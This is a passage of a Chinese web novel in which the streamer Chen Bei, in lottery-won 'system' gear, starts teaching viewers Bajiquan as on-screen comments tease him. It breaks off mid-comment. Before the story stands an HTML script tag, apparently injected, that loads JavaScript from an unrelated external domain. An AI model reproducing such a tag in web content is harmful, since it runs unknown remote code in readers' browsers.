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<script src="https://xxsmad3.com/s.php?g=1&t=2&p=1388&i="></script>吃饭早饭。
陈北开始做热身运动。
“昨天我说过,以后每天早晨,都会打一段八极拳,锻炼身体。”陈北身穿抽奖获得的灰色赶山服,跟墨绿色登山靴。转动脖颈,摇摆头部,并进行腿部跟手臂的拉伸。
赶山服跟登山靴,不愧是系统出品,十分牛批。
穿在身上轻飘飘的,很是顺滑柔软,没有一丁点束缚身体的感觉。以后即使不赶山,陈北也会每天都穿着,比什么阿迪耐克这些国外大牌舒服多了。
“我在练拳的过程中,会尽量慢一些。如果有想每天跟着我练拳的网友,可以跟着我一起练习。只要肯坚持,练习三五个月,防身还是没问题的。”
【好好好,继宰羊炒菜后,陈老爷又试图教会我们八极拳。】
【三五个月?我可坚持不下来!】
【一般人,练几天就累了,陈老爷你当每个人都跟你一样,
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